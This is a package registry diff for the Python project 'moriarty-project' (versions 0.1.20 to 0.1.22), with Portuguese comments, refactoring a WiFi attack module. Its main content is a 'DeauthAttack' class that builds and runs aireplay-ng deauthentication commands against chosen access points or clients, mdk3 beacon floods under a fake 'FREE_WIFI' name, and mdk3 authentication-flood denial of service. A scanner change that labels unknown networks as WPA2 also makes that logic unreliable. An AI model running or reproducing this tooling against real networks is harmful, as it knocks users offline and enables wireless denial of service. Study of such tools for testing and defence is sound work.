moriarty-project 0.1.20__py3-none-any.whl → 0.1.22__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -28,6 +28,9 @@ from ...core.utils import (
28
28
  get_interface_mac
29
29
  )
30
30
 
31
+ # Importa o decorador de registro de ataques
32
+ from . import register_attack
33
+
31
34
  # Configuração de logging
32
35
  logging.basicConfig(level=logging.INFO)
33
36
  logger = logging.getLogger(__name__)
@@ -57,34 +60,32 @@ class DeauthEventType(Enum):
57
60
  @dataclass
58
61
  class DeauthEvent:
59
62
  """Evento de progresso do ataque de desautenticação."""
60
- type: DeauthEventType
63
+ type: DeauthAttackType
61
64
  message: str = ""
62
65
  data: Dict[str, Any] = field(default_factory=dict)
63
66
 
67
+ @register_attack
64
68
  class DeauthAttack:
65
- """Classe para realizar ataques de desautenticação."""
69
+ """
70
+ Ataque de desautenticação WiFi.
66
71
 
67
- def __init__(self, interface: str = None, deauth_type: DeauthAttackType = DeauthAttackType.DEAUTH):
68
- """
69
- Inicializa o ataque de desautenticação.
70
-
71
- Args:
72
- interface: Interface de rede para usar no ataque
73
- deauth_type: Tipo de ataque de desautenticação
74
- """
75
- self.interface = interface
76
- self.deauth_type = deauth_type
72
+ Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
73
+ Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
74
+ """
75
+
76
+ # Metadados do ataque
77
+ name = "deauth"
78
+ description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
79
+
80
+ def __init__(self):
81
+ """Inicializa o ataque de desautenticação."""
82
+ self.interface = None
83
+ self.deauth_type = None
77
84
  self.is_running = False
78
85
  self.stop_requested = False
79
86
  self.packets_sent = 0
80
87
  self.process = None
81
-
82
- # Verifica dependências
83
88
  self._check_dependencies()
84
-
85
- # Verifica privilégios
86
- if not is_root():
87
- raise PermissionError("Este ataque requer privilégios de root")
88
89
 
89
90
  def _check_dependencies(self) -> None:
90
91
  """Verifica se todas as dependências necessárias estão instaladas."""
@@ -97,36 +98,53 @@ class DeauthAttack:
97
98
  "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
98
99
  )
99
100
 
100
- def start(self, bssid: str, client_mac: str = None,
101
- count: int = 0, delay: int = 100,
102
- reason: int = 7, channel: int = None,
103
- callback: Callable[[DeauthEvent], None] = None) -> bool:
101
+ def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
104
102
  """
105
- Inicia o ataque de desautenticação.
103
+ Executa o ataque de desautenticação.
106
104
 
107
105
  Args:
108
- bssid: Endereço MAC do ponto de acesso
109
- client_mac: Endereço MAC do cliente (None para broadcast)
110
- count: Número de pacotes a enviar (0 para contínuo)
111
- delay: Atraso entre pacotes em milissegundos
112
- reason: Código de motivo da desautenticação
113
- channel: Canal da rede (opcional, tenta detectar automaticamente)
114
- callback: Função de callback para eventos
115
-
116
- Returns:
117
- True se o ataque foi iniciado com sucesso, False caso contrário
106
+ iface: Interface de rede a ser usada
107
+ target: Endereço MAC do alvo (pode ser um cliente ou AP)
108
+ **kwargs: Argumentos adicionais:
109
+ - bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
110
+ - client_mac: Endereço MAC do cliente (opcional, None para broadcast)
111
+ - count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
112
+ - delay: Atraso entre pacotes em ms (padrão: 100)
113
+ - reason: Código de motivo (padrão: 7)
114
+ - channel: Canal da rede (opcional, tenta detectar)
115
+ - deauth_type: Tipo de ataque (padrão: DEAUTH)
118
116
  """
119
- self.is_running = True
120
- self.stop_requested = False
121
- self.packets_sent = 0
117
+ self.interface = iface
118
+ bssid = target or kwargs.get('bssid')
119
+ client_mac = kwargs.get('client_mac')
120
+ count = kwargs.get('count', 0)
121
+ delay = kwargs.get('delay', 100)
122
+ reason = kwargs.get('reason', 7)
123
+ channel = kwargs.get('channel')
124
+ deauth_type = kwargs.get('deauth_type', 'DEAUTH')
125
+
126
+ # Configura o tipo de ataque
127
+ self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
128
+
129
+ # Função de callback padrão
130
+ def default_callback(event):
131
+ if event.type == DeauthEventType.INFO:
132
+ logger.info(event.message)
133
+ elif event.type == DeauthEventType.ERROR:
134
+ logger.error(event.message)
135
+
136
+ callback = kwargs.get('callback', default_callback)
122
137
 
123
- # Configura o monitoramento de eventos
124
138
  def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
125
139
  if callback:
126
140
  event = DeauthEvent(type=event_type, message=message, data=kwargs)
127
141
  callback(event)
128
142
 
129
143
  try:
144
+ # Verifica privilégios
145
+ if not is_root():
146
+ raise PermissionError("Este ataque requer privilégios de root")
147
+
130
148
  # Define o canal, se especificado
131
149
  if channel:
132
150
  self._set_channel(channel)
@@ -136,14 +154,6 @@ class DeauthAttack:
136
154
  cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
137
155
  elif self.deauth_type == DeauthAttackType.AUTH_DOS:
138
156
  cmd = self._prepare_auth_dos(bssid)
139
- elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
140
- cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
141
- elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
142
- cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
143
- elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
144
- if not client_mac:
145
- raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
146
- cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
147
157
  else: # Desautenticação padrão
148
158
  cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
149
159
 
@@ -159,6 +169,7 @@ class DeauthAttack:
159
169
 
160
170
  # Monitora a saída
161
171
  start_time = time.time()
172
+ self.is_running = True
162
173
 
163
174
  while True:
164
175
  # Verifica se foi solicitado para parar
@@ -199,142 +210,53 @@ class DeauthAttack:
199
210
  return True
200
211
 
201
212
  except Exception as e:
202
- event_handler(
203
- DeauthEventType.ERROR,
204
- f"Erro durante o ataque de desautenticação: {str(e)}"
205
- )
213
+ event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
206
214
  return False
207
-
208
215
  finally:
209
216
  self.is_running = False
210
- self._stop_process()
217
+
218
+ def _set_channel(self, channel: int) -> None:
219
+ """Define o canal da interface de rede."""
220
+ try:
221
+ subprocess.run(
222
+ ["iwconfig", self.interface, "channel", str(channel)],
223
+ check=True,
224
+ capture_output=True
225
+ )
226
+ except subprocess.CalledProcessError as e:
227
+ raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
211
228
 
212
229
  def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
213
- count: int = 0, delay: int = 100,
214
- reason: int = 7) -> List[str]:
230
+ count: int = 0, delay: int = 100,
231
+ reason: int = 7) -> List[str]:
215
232
  """Prepara o comando para desautenticação padrão."""
216
- cmd = [
217
- 'aireplay-ng',
218
- '--deauth', str(count) if count > 0 else '0',
219
- '-a', bssid,
220
- '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
221
- '--ignore-negative-one',
222
- ]
223
-
224
- if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
225
- cmd.extend(['-c', client_mac])
233
+ cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
234
+ "-a", bssid, "-D", str(delay), "--ignore-negative-one"]
226
235
 
227
- if delay > 0:
228
- cmd.extend(['--deauth', str(delay)])
236
+ if client_mac:
237
+ cmd.extend(["-c", client_mac])
229
238
 
230
239
  cmd.append(self.interface)
231
240
  return cmd
232
241
 
233
242
  def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
234
243
  """Prepara o comando para ataque de Beacon Flood."""
235
- # Usa o mdk3 para enviar beacons falsos
236
- return [
237
- 'mdk3', self.interface, 'b',
238
- '-n', essid,
239
- '-c', '1,6,11', # Canais 1, 6 e 11 (2.4GHz)
240
- '-s', '1000' # Velocidade de envio
241
- ]
244
+ return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
242
245
 
243
246
  def _prepare_auth_dos(self, bssid: str) -> List[str]:
244
247
  """Prepara o comando para ataque de negação de serviço por autenticação."""
245
- # Usa o mdk3 para enviar solicitações de autenticação em massa
246
- return [
247
- 'mdk3', self.interface, 'a',
248
- '-a', bssid,
249
- '-m', # Usa endereços MAC aleatórios
250
- '-s', '1000' # Velocidade de envio
251
- ]
252
-
253
- def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
254
- """Prepara o comando para desautenticação em broadcast."""
255
- return [
256
- 'mdk3', self.interface, 'd',
257
- '-b', bssid,
258
- '-c', str(self._get_channel() or '1'),
259
- '-s', '1000',
260
- '-n', str(count) if count > 0 else '0'
261
- ]
262
-
263
- def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
264
- """Prepara o comando para desautenticação em multicast."""
265
- # Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
266
- return [
267
- 'aireplay-ng',
268
- '--deauth', str(count) if count > 0 else '0',
269
- '-a', bssid,
270
- '-h', '01:00:5E:00:00:01', # Endereço multicast
271
- '--ignore-negative-one',
272
- self.interface
273
- ]
274
-
275
- def _prepare_directed_deauth(self, bssid: str, client_mac: str,
276
- count: int, delay: int, reason: int) -> List[str]:
277
- """Prepara o comando para desautenticação direcionada."""
278
- return [
279
- 'aireplay-ng',
280
- '--deauth', str(count) if count > 0 else '0',
281
- '-a', bssid,
282
- '-c', client_mac,
283
- '--ignore-negative-one',
284
- self.interface
285
- ]
286
-
287
- def _set_channel(self, channel: int) -> bool:
288
- """Define o canal da interface de rede."""
289
- try:
290
- subprocess.run(
291
- ['iwconfig', self.interface, 'channel', str(channel)],
292
- check=True,
293
- capture_output=True
294
- )
295
- return True
296
- except subprocess.CalledProcessError as e:
297
- logger.error(f"Erro ao definir o canal: {e.stderr}")
298
- return False
299
-
300
- def _get_channel(self) -> Optional[int]:
301
- """Obtém o canal atual da interface de rede."""
302
- try:
303
- result = subprocess.run(
304
- ['iwconfig', self.interface],
305
- capture_output=True,
306
- text=True
307
- )
308
-
309
- # Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
310
- match = re.search(r'Channel:(\d+)', result.stdout)
311
- if match:
312
- return int(match.group(1))
313
-
314
- match = re.search(r'Channel\s+(\d+)', result.stdout)
315
- if match:
316
- return int(match.group(1))
317
-
318
- return None
319
-
320
- except Exception as e:
321
- logger.error(f"Erro ao obter o canal: {e}")
322
- return None
248
+ return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
323
249
 
324
- def _stop_process(self):
250
+ def _stop_process(self) -> None:
325
251
  """Para o processo em execução."""
326
252
  if self.process and self.process.poll() is None:
253
+ self.process.terminate()
327
254
  try:
328
- self.process.terminate()
329
255
  self.process.wait(timeout=5)
330
- except:
331
- try:
332
- self.process.kill()
333
- except:
334
- pass
256
+ except subprocess.TimeoutExpired:
257
+ self.process.kill()
335
258
 
336
- def stop(self):
259
+ def stop(self) -> None:
337
260
  """Solicita a interrupção do ataque."""
338
261
  self.stop_requested = True
339
262
  self._stop_process()
340
- self.is_running = False
@@ -21,6 +21,30 @@ class WiFiSecurityType(Enum):
21
21
  WPS = auto() # WiFi Protected Setup
22
22
 
23
23
 
24
+ # Mapeamento de códigos de segurança para WiFiSecurityType
25
+ SECURITY_MAP = {
26
+ 'WPA2': WiFiSecurityType.WPA2,
27
+ 'WPA3': WiFiSecurityType.WPA3,
28
+ 'WPA2-EAP': WiFiSecurityType.WPA2_ENTERPRISE,
29
+ 'WPA3-EAP': WiFiSecurityType.WPA3_ENTERPRISE,
30
+ 'WEP': WiFiSecurityType.WEP,
31
+ 'OPEN': WiFiSecurityType.NONE,
32
+ 'NONE': WiFiSecurityType.NONE,
33
+ 'WPA': WiFiSecurityType.WPA,
34
+ 'WPA2-PSK': WiFiSecurityType.WPA2,
35
+ 'WPA3-PSK': WiFiSecurityType.WPA3,
36
+ 'WPA2-PSK-CCMP': WiFiSecurityType.WPA2,
37
+ 'WPA2-PSK-TKIP': WiFiSecurityType.WPA2,
38
+ 'WPA-PSK': WiFiSecurityType.WPA,
39
+ 'WPA-PSK-CCMP': WiFiSecurityType.WPA,
40
+ 'WPA-PSK-TKIP': WiFiSecurityType.WPA,
41
+ 'WPA2-ENTERPRISE': WiFiSecurityType.WPA2_ENTERPRISE,
42
+ 'WPA3-ENTERPRISE': WiFiSecurityType.WPA3_ENTERPRISE,
43
+ 'OWE': WiFiSecurityType.OWE,
44
+ 'WPS': WiFiSecurityType.WPS,
45
+ }
46
+
47
+
24
48
  class WiFiCipherType(Enum):
25
49
  """Tipos de cifra suportados."""
26
50
  NONE = auto()
@@ -33,6 +33,10 @@ from moriarty.modules.wifippler.core.utils import (
33
33
  randomize_mac, get_wireless_interfaces
34
34
  )
35
35
 
36
+ from moriarty.modules.wifippler.core.models.network import (
37
+ WiFiSecurityType, SECURITY_MAP
38
+ )
39
+
36
40
  # Configuração de logging
37
41
  logging.basicConfig(
38
42
  level=logging.INFO,
@@ -47,16 +51,7 @@ class ScanMode(Enum):
47
51
  FAST = auto() # Varredura rápida (canais mais comuns)
48
52
  DEEP = auto() # Varredura profunda (todos os canais)
49
53
 
50
- class WiFiSecurityType(Enum):
51
- """Tipos de segurança de rede WiFi."""
52
- NONE = "Aberta"
53
- WEP = "WEP"
54
- WPA = "WPA"
55
- WPA2 = "WPA2"
56
- WPA3 = "WPA3"
57
- WPA_WPA2 = "WPA/WPA2"
58
- WPA2_WPA3 = "WPA2/WPA3"
59
- UNKNOWN = "Desconhecido"
54
+ # WiFiSecurityType agora é importado de moriarty.modules.wifippler.core.models.network
60
55
 
61
56
  @dataclass
62
57
  class WiFiClient:
@@ -329,10 +324,16 @@ class WiFiScanner:
329
324
 
330
325
  encryption = encryption.upper()
331
326
 
327
+ # Verifica se a criptografia está no mapeamento
328
+ for key, security_type in SECURITY_MAP.items():
329
+ if key in encryption:
330
+ return security_type
331
+
332
+ # Tenta inferir o tipo de segurança com base em padrões comuns
332
333
  if 'WPA3' in encryption and 'WPA2' in encryption:
333
- return WiFiSecurityType.WPA2_WPA3
334
+ return WiFiSecurityType.WPA2
334
335
  elif 'WPA2' in encryption and 'WPA' in encryption:
335
- return WiFiSecurityType.WPA_WPA2
336
+ return WiFiSecurityType.WPA2
336
337
  elif 'WPA3' in encryption:
337
338
  return WiFiSecurityType.WPA3
338
339
  elif 'WPA2' in encryption:
@@ -341,8 +342,9 @@ class WiFiScanner:
341
342
  return WiFiSecurityType.WPA
342
343
  elif 'WEP' in encryption:
343
344
  return WiFiSecurityType.WEP
344
- else:
345
- return WiFiSecurityType.UNKNOWN
345
+
346
+ # Se não conseguir determinar, retorna o tipo padrão
347
+ return WiFiSecurityType.WPA2
346
348
 
347
349
  def _channel_to_frequency(self, channel: int) -> int:
348
350
  """Converte um número de canal para frequência em MHz.
@@ -536,7 +538,7 @@ class WiFiScanner:
536
538
  existing.frequency = self._channel_to_frequency(network.channel)
537
539
 
538
540
  # Atualiza a segurança, se disponível
539
- if network.security != WiFiSecurityType.UNKNOWN:
541
+ if network.security != WiFiSecurityType.NONE:
540
542
  existing.security = network.security
541
543
  existing.encryption = network.encryption
542
544
  existing.cipher = network.cipher
@@ -1,62 +1,81 @@
1
1
  """
2
- Utilitários para o módulo WiFiPPLER.
2
+ Módulo de utilidades do WiFiPPLER.
3
+
4
+ Este módulo fornece funções auxiliares para operações comuns de rede e sistema.
3
5
  """
4
6
  import os
5
- import sys
6
- import re
7
7
  import subprocess
8
- import shlex
9
- import shutil
10
- import logging
11
- import fcntl
12
- import struct
13
- import array
14
- import platform
15
- import asyncio
16
- from .utils import (
17
- is_root,
18
- get_wireless_interfaces,
19
- get_network_interfaces,
20
- get_monitor_interfaces,
21
- set_monitor_mode,
22
- restore_network_interface,
23
- start_monitor_mode,
24
- stop_monitor_mode,
25
- run_command_async,
26
- randomize_mac,
27
- get_interface_mac,
8
+ from typing import Optional, List, Dict, Any, Union
9
+
10
+ # Importações principais
11
+ from ..models.network import WiFiCipherType, WiFiAuthType, WiFiNetwork, WiFiClient
12
+
13
+ from .network import (
28
14
  get_interface_ip,
29
15
  get_interface_netmask,
30
16
  get_interface_gateway,
31
17
  is_wireless_interface,
32
- get_interface_signal,
33
- get_interface_ssid,
34
- get_interface_channel,
35
- get_interface_bitrate,
36
- create_deauth_packet,
37
- parse_airodump_csv,
38
- parse_airodump_stations,
39
- run_command,
40
- command_exists
18
+ get_network_interfaces,
19
+ is_interface_up,
20
+ get_interface_mac,
21
+ get_monitor_interfaces
41
22
  )
42
- from dataclasses import asdict
43
23
 
44
- import netifaces
45
- import psutil
46
- from rich.console import Console
47
- from rich.progress import Progress, SpinnerColumn, TextColumn
24
+ from .system import (
25
+ is_root,
26
+ check_dependencies,
27
+ command_exists,
28
+ ensure_root,
29
+ ensure_dependencies,
30
+ get_available_interfaces,
31
+ get_wireless_interfaces
32
+ )
48
33
 
49
- from ..models.network import WiFiNetwork, WiFiClient, WiFiSecurityType, WiFiCipherType, WiFiAuthType
34
+ from .exec import (
35
+ run_command,
36
+ run_command_async,
37
+ run_sudo_command,
38
+ command_success,
39
+ get_command_output,
40
+ get_command_output_safe
41
+ )
50
42
 
51
43
  # Configuração de logging
44
+ import logging
52
45
  logging.basicConfig(level=logging.INFO)
53
46
  logger = logging.getLogger(__name__)
54
- console = Console()
55
47
 
56
- # Constantes
57
- WIRELESS_EXT = "SIOCGIWNAME"
58
- SIOCGIFHWADDR = 0x8927
59
- SIOCGIFADDR = 0x8915
48
+ # Exporta apenas o que é necessário para uso externo
49
+ __all__ = [
50
+ # Funções de rede
51
+ 'get_interface_ip',
52
+ 'get_interface_netmask',
53
+ 'get_interface_gateway',
54
+ 'is_wireless_interface',
55
+ 'get_network_interfaces',
56
+ 'is_interface_up',
57
+ 'get_interface_mac',
58
+
59
+ # Funções do sistema
60
+ 'is_root',
61
+ 'check_dependencies',
62
+ 'command_exists',
63
+ 'ensure_root',
64
+ 'ensure_dependencies',
65
+ 'get_available_interfaces',
66
+ 'get_wireless_interfaces',
67
+
68
+ # Funções de execução de comandos
69
+ 'run_command',
70
+ 'run_command_async',
71
+ 'run_sudo_command',
72
+ 'command_success',
73
+ 'get_command_output',
74
+ 'get_command_output_safe',
75
+
76
+ # Logger
77
+ 'logger'
78
+ ]
60
79
  SIOCGIFNETMASK = 0x891B
61
80
  SIOCGIFBRDADDR = 0x8919
62
81
  SIOCGIFMTU = 0x8921
@@ -65,24 +84,7 @@ SIOCGIFNAME = 0x8910
65
84
  SIOCGIFFLAGS = 0x8913
66
85
  SIOCSIFFLAGS = 0x8914
67
86
 
68
- # Mapeamento de códigos de segurança
69
- SECURITY_MAP = {
70
- 'WPA2': WiFiSecurityType.WPA2,
71
- 'WPA3': WiFiSecurityType.WPA3,
72
- 'WPA2-EAP': WiFiSecurityType.WPA2_ENTERPRISE,
73
- 'WPA3-EAP': WiFiSecurityType.WPA3_ENTERPRISE,
74
- 'WEP': WiFiSecurityType.WEP,
75
- 'OPEN': WiFiSecurityType.NONE,
76
- 'NONE': WiFiSecurityType.NONE,
77
- 'WPA': WiFiSecurityType.WPA,
78
- 'WPA2-PSK': WiFiSecurityType.WPA2,
79
- 'WPA3-PSK': WiFiSecurityType.WPA3,
80
- 'WPA2-PSK-CCMP': WiFiSecurityType.WPA2,
81
- 'WPA2-PSK-TKIP': WiFiSecurityType.WPA2,
82
- 'WPA-PSK': WiFiSecurityType.WPA,
83
- 'WPA-PSK-CCMP': WiFiSecurityType.WPA,
84
- 'WPA-PSK-TKIP': WiFiSecurityType.WPA,
85
- }
87
+ # O mapeamento de códigos de segurança foi movido para core/models/network.py
86
88
 
87
89
  # Mapeamento de cifras
88
90
  CIPHER_MAP = {